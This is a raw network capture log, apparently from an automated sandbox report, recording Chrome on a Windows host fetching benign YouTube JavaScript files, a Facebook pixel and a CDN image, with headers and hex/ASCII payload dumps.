2024-01-17 23:34:55 UTC	1158	OUT	GET /s/desktop/80338919/jsbin/www-i18n-constants-en_US.vflset/www-i18n-constants.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:56 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 5863 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28966 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:56 UTC	566	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 65 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 66 28 63 2c 62 29 7b 63 3d 63 2e 73 70 6c 69 74 28 22 2e 22 29 3b 76 61 72 20 61 3d 65 3b 63 5b 30 5d 69 6e 20 61 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 61 2e 65 78 65 63 53 63 72 69 70 74 7c 7c 61 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 63 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 63 2e 6c 65 6e 67 74 68 26 26 Data Ascii: (function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var e=this\|\|self;function f(c,b){c=c.split(".");var a=e;c[0]in a\|\|"undefined"==typeof a.execScript\|\|a.execScript("var "+c[0]);for(var d;c.length&&
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 4f 4e 54 48 5f 44 41 59 5f 59 45 41 52 5f 4d 45 44 49 55 4d 3a 22 4d 4d 4d 20 64 2c 20 79 22 2c 57 45 45 4b 44 41 59 5f 4d 4f 4e 54 48 5f 44 41 59 5f 4d 45 44 49 55 4d 3a 22 45 45 45 2c 20 4d 4d 4d 20 64 22 2c 57 45 45 4b 44 41 59 5f 4d 4f 4e 54 48 5f 44 41 59 5f 59 45 41 52 5f 4d 45 44 49 55 4d 3a 22 45 45 45 2c 20 4d 4d 4d 20 64 2c 20 79 22 2c 44 41 59 5f 41 42 42 52 3a 22 64 22 2c 4d 4f 4e 54 48 5f 44 41 59 5f 54 49 4d 45 5f 5a 4f 4e 45 5f 53 48 4f 52 54 3a 22 4d 4d 4d 20 64 2c 20 68 3a 6d 6d 5c 75 32 30 32 66 61 20 7a 7a 7a 7a 22 7d 2c 68 3d 67 3b 68 3d 67 3b 76 61 72 20 6b 3d 7b 45 52 41 53 3a 5b 22 42 43 22 2c 22 41 44 22 5d 2c 45 52 41 4e 41 4d 45 53 3a 5b 22 42 65 66 6f 72 65 20 43 68 72 69 73 74 22 2c 22 41 6e 6e 6f 20 44 6f 6d 69 6e 69 22 5d 2c Data Ascii: ONTH_DAY_YEAR_MEDIUM:"MMM d, y",WEEKDAY_MONTH_DAY_MEDIUM:"EEE, MMM d",WEEKDAY_MONTH_DAY_YEAR_MEDIUM:"EEE, MMM d, y",DAY_ABBR:"d",MONTH_DAY_TIME_ZONE_SHORT:"MMM d, h:mm\u202fa zzzz"},h=g;h=g;var k={ERAS:["BC","AD"],ERANAMES:["Before Christ","Anno Domini"],
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 2c 22 4d 4d 4d 20 64 2c 20 79 22 2c 22 4d 2f 64 2f 79 79 22 5d 2c 54 49 4d 45 46 4f 52 4d 41 54 53 3a 5b 22 68 3a 6d 6d 3a 73 73 5c 75 32 30 32 66 61 20 7a 7a 7a 7a 22 2c 22 68 3a 6d 6d 3a 73 73 5c 75 32 30 32 66 61 20 7a 22 2c 22 68 3a 6d 6d 3a 73 73 5c 75 32 30 32 66 61 22 2c 22 68 3a 6d 6d 5c 75 32 30 32 66 61 22 5d 2c 44 41 54 45 54 49 4d 45 46 4f 52 4d 41 54 53 3a 5b 22 7b 31 7d 20 27 61 74 27 20 7b 30 7d 22 2c 22 7b 31 7d 20 27 61 74 27 20 7b 30 7d 22 2c 22 7b 31 7d 2c 20 7b 30 7d 22 2c 22 7b 31 7d 2c 20 7b 30 7d 22 5d 2c 46 49 52 53 54 44 41 59 4f 46 57 45 45 4b 3a 36 2c 57 45 45 4b 45 4e 44 52 41 4e 47 45 3a 5b 35 2c 36 5d 2c 46 49 52 53 54 57 45 45 4b 43 55 54 4f 46 46 44 41 59 3a 35 7d 2c 6c 3d 6b 3b 6c 3d 6b 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 Data Ascii: ,"MMM d, y","M/d/yy"],TIMEFORMATS:["h:mm:ss\u202fa zzzz","h:mm:ss\u202fa z","h:mm:ss\u202fa","h:mm\u202fa"],DATETIMEFORMATS:["{1} 'at' {0}","{1} 'at' {0}","{1}, {0}","{1}, {0}"],FIRSTDAYOFWEEK:6,WEEKENDRANGE:[5,6],FIRSTWEEKCUTOFFDAY:5},l=k;l=k;function m(
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 7b 52 3a 7b 30 3a 22 74 68 69 73 20 6d 69 6e 75 74 65 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 6d 69 6e 2e 20 61 67 6f 7d 6f 74 68 65 72 7b 23 20 6d 69 6e 2e 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 20 6d 69 6e 2e 7d 6f 74 68 65 72 7b 69 6e 20 23 20 6d 69 6e 2e 7d 22 7d 2c 4e 41 52 52 4f 57 3a 7b 52 3a 7b 30 3a 22 74 68 69 73 20 6d 69 6e 75 74 65 22 7d 2c 50 3a 22 6f 6e 65 7b 23 6d 20 61 67 6f 7d 6f 74 68 65 72 7b 23 6d 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 6d 7d 6f 74 68 65 72 7b 69 6e 20 23 6d 7d 22 7d 7d 2c 4d 4f 4e 54 48 3a 7b 4c 4f 4e 47 3a 7b 52 3a 7b 22 2d 31 22 3a 22 6c 61 73 74 20 6d 6f 6e 74 68 22 2c 30 3a 22 74 68 69 73 20 6d 6f 6e 74 68 22 2c 31 3a 22 6e 65 78 74 20 6d 6f 6e 74 68 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 6d Data Ascii: {R:{0:"this minute"},P:"one{# min. ago}other{# min. ago}",F:"one{in # min.}other{in # min.}"},NARROW:{R:{0:"this minute"},P:"one{#m ago}other{#m ago}",F:"one{in #m}other{in #m}"}},MONTH:{LONG:{R:{"-1":"last month",0:"this month",1:"next month"},P:"one{# m
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 4b 3a 7b 4c 4f 4e 47 3a 7b 52 3a 7b 22 2d 31 22 3a 22 6c 61 73 74 20 77 65 65 6b 22 2c 30 3a 22 74 68 69 73 20 77 65 65 6b 22 2c 31 3a 22 6e 65 78 74 20 77 65 65 6b 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 77 65 65 6b 20 61 67 6f 7d 6f 74 68 65 72 7b 23 20 77 65 65 6b 73 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 20 77 65 65 6b 7d 6f 74 68 65 72 7b 69 6e 20 23 20 77 65 65 6b 73 7d 22 7d 2c 0a 53 48 4f 52 54 3a 7b 52 3a 7b 22 2d 31 22 3a 22 6c 61 73 74 20 77 6b 2e 22 2c 30 3a 22 74 68 69 73 20 77 6b 2e 22 2c 31 3a 22 6e 65 78 74 20 77 6b 2e 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 77 6b 2e 20 61 67 6f 7d 6f 74 68 65 72 7b 23 20 77 6b 2e 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 20 77 6b 2e 7d 6f 74 68 65 72 7b 69 6e 20 23 20 77 6b 2e 7d 22 7d Data Ascii: K:{LONG:{R:{"-1":"last week",0:"this week",1:"next week"},P:"one{# week ago}other{# weeks ago}",F:"one{in # week}other{in # weeks}"},SHORT:{R:{"-1":"last wk.",0:"this wk.",1:"next wk."},P:"one{# wk. ago}other{# wk. ago}",F:"one{in # wk.}other{in # wk.}"}
2024-01-17 23:34:56 UTC	289	IN	Data Raw: 6e 64 7d 6f 74 68 65 72 7b 23 20 73 65 63 6f 6e 64 73 7d 22 2c 53 48 4f 52 54 3a 22 6f 6e 65 7b 23 20 73 65 63 7d 6f 74 68 65 72 7b 23 20 73 65 63 7d 22 2c 0a 4e 41 52 52 4f 57 3a 22 6f 6e 65 7b 23 73 7d 6f 74 68 65 72 7b 23 73 7d 22 7d 2c 57 45 45 4b 3a 7b 4c 4f 4e 47 3a 22 6f 6e 65 7b 23 20 77 65 65 6b 7d 6f 74 68 65 72 7b 23 20 77 65 65 6b 73 7d 22 2c 53 48 4f 52 54 3a 22 6f 6e 65 7b 23 20 77 6b 7d 6f 74 68 65 72 7b 23 20 77 6b 73 7d 22 2c 4e 41 52 52 4f 57 3a 22 6f 6e 65 7b 23 77 7d 6f 74 68 65 72 7b 23 77 7d 22 7d 2c 59 45 41 52 3a 7b 4c 4f 4e 47 3a 22 6f 6e 65 7b 23 20 79 65 61 72 7d 6f 74 68 65 72 7b 23 20 79 65 61 72 73 7d 22 2c 53 48 4f 52 54 3a 22 6f 6e 65 7b 23 20 79 72 7d 6f 74 68 65 72 7b 23 20 79 72 73 7d 22 2c 4e 41 52 52 4f 57 3a 22 6f 6e Data Ascii: nd}other{# seconds}",SHORT:"one{# sec}other{# sec}",NARROW:"one{#s}other{#s}"},WEEK:{LONG:"one{# week}other{# weeks}",SHORT:"one{# wk}other{# wks}",NARROW:"one{#w}other{#w}"},YEAR:{LONG:"one{# year}other{# years}",SHORT:"one{# yr}other{# yrs}",NARROW:"on

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49822	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	691	OUT	GET /security/hsts-pixel.gif HTTP/1.1 Host: facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg
2024-01-17 23:34:55 UTC	1780	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/gif reporting-endpoints: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com;font-src data: .gstatic.com .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com .tenor.co media.tenor.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net .giphy.com connect.facebook.net .carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com .whatsapp.net .fb.com .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com https://.giphy.com data:;frame-src .doubleclick.net .google.com .facebook.com www.googleadservices.com .fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: .facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), encrypted-media=()
2024-01-17 23:34:55 UTC	1126	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f
2024-01-17 23:34:55 UTC	54	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49823	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	672	OUT	GET /rsrc.php/v3/yU/r/O7nelmd9XSI.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://static.xx.fbcdn.net/rsrc.php/v3/yN/l/0,cross/z8iN9p2rYBG.css?_nc_x=Ij3Wp8lg5Kz Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:55 UTC	1186	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: OcEdZWIg79UvSWVADRSQCg== Expires: Fri, 10 Jan 2025 07:20:52 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: origin-agent-cluster: ?0 X-FB-Debug: 75mDuLZNWKKyim1I3wenylShybOOzzoLx0DO77U7baVcJADSQrnzuMZdFIe3UGFCwIp/fa+4eYCfDUukft3ogQ== Date: Wed, 17 Jan 2024 23:34:55 GMT Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 95
2024-01-17 23:34:55 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-01-17 23:34:55 UTC	94	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 0a a0 33 31 78 00 00 00 0a 49 44 41 54 08 1d 63 60 00 00 00 02 00 01 cf c8 35 e5 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS31xIDATc`5IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49820	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	1142	OUT	GET /s/desktop/80338919/jsbin/www-tampering.vflset/www-tampering.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:56 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 11085 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:17 GMT Expires: Thu, 16 Jan 2025 15:32:17 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28958 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:56 UTC	565	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 0a 76 61 72 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 Data Ascii: (function(){'use strict';function n(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var p="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 20 74 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 72 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 65 2b 2b 29 7b 76 61 72 20 68 3d 61 5b 65 5d 3b 69 66 28 21 28 68 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 68 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 65 3d 63 5b 61 5d 3b 62 3d 62 28 65 29 3b 62 21 3d 65 26 26 6e 75 6c 6c 21 3d 62 26 26 70 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 74 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 6c 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 Data Ascii: t(a,b){if(b)a:{var c=r;a=a.split(".");for(var e=0;e<a.length-1;e++){var h=a[e];if(!(h in c))break a;c=c[h]}a=a[a.length-1];e=c[a];b=b(e);b!=e&&null!=b&&p(c,a,{configurable:!0,writable:!0,value:b})}}t("Symbol",function(a){function b(l){if(this instanceof
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 78 28 61 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 29 7b 61 3d 77 28 61 29 3b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 61 3d 63 7d 72 65 74 75 72 6e 20 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 79 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 0a 74 28 22 57 65 61 6b 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 64 29 7b 74 68 69 73 2e 67 3d 28 66 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b Data Ascii: function x(a){if(!(a instanceof Array)){a=w(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function y(a,b){return Object.prototype.hasOwnProperty.call(a,b)}t("WeakMap",function(a){function b(d){this.g=(f+=Math.random()+1).toString();
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 72 6e 20 65 28 64 29 26 26 79 28 64 2c 6d 29 26 26 79 28 64 5b 6d 5d 2c 74 68 69 73 2e 67 29 3f 64 65 6c 65 74 65 20 64 5b 6d 5d 5b 74 68 69 73 2e 67 5d 3a 21 31 7d 3b 0a 72 65 74 75 72 6e 20 62 7d 29 3b 0a 74 28 22 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 76 61 72 20 66 3d 7b 7d 3b 72 65 74 75 72 6e 20 66 2e 70 72 65 76 69 6f 75 73 3d 66 2e 6e 65 78 74 3d 66 2e 68 65 61 64 3d 66 7d 0a 66 75 6e 63 74 69 6f 6e 20 63 28 66 2c 64 29 7b 76 61 72 20 67 3d 66 5b 31 5d 3b 72 65 74 75 72 6e 20 75 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 67 29 7b 66 6f 72 28 3b 67 2e 68 65 61 64 21 3d 66 5b 31 5d 3b 29 67 3d 67 2e 70 72 65 76 69 6f 75 73 3b 66 6f 72 28 3b 67 2e 6e 65 78 74 21 3d 67 2e 68 65 61 64 3b 29 72 65 74 Data Ascii: rn e(d)&&y(d,m)&&y(d[m],this.g)?delete d[m][this.g]:!1};return b});t("Map",function(a){function b(){var f={};return f.previous=f.next=f.head=f}function c(f,d){var g=f[1];return u(function(){if(g){for(;g.head!=f[1];)g=g.previous;for(;g.next!=g.head;)ret
2024-01-17 23:34:56 UTC	1252	IN	Data Raw: 28 67 2e 6c 69 73 74 3d 74 68 69 73 5b 30 5d 5b 67 2e 69 64 5d 3d 5b 5d 29 3b 67 2e 68 3f 67 2e 68 2e 76 61 6c 75 65 3d 64 3a 28 67 2e 68 3d 7b 6e 65 78 74 3a 74 68 69 73 5b 31 5d 2c 70 72 65 76 69 6f 75 73 3a 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 2c 68 65 61 64 3a 74 68 69 73 5b 31 5d 2c 6b 65 79 3a 66 2c 76 61 6c 75 65 3a 64 7d 2c 67 2e 6c 69 73 74 2e 70 75 73 68 28 67 2e 68 29 2c 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 2e 6e 65 78 74 3d 67 2e 68 2c 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 3d 67 2e 68 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 68 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 66 3d 65 28 74 68 69 73 2c 66 29 3b 72 65 74 75 72 6e Data Ascii: (g.list=this[0][g.id]=[]);g.h?g.h.value=d:(g.h={next:this[1],previous:this[1].previous,head:this[1],key:f,value:d},g.list.push(g.h),this[1].previous.next=g.h,this[1].previous=g.h,this.size++);return this};h.prototype.delete=function(f){f=e(this,f);return
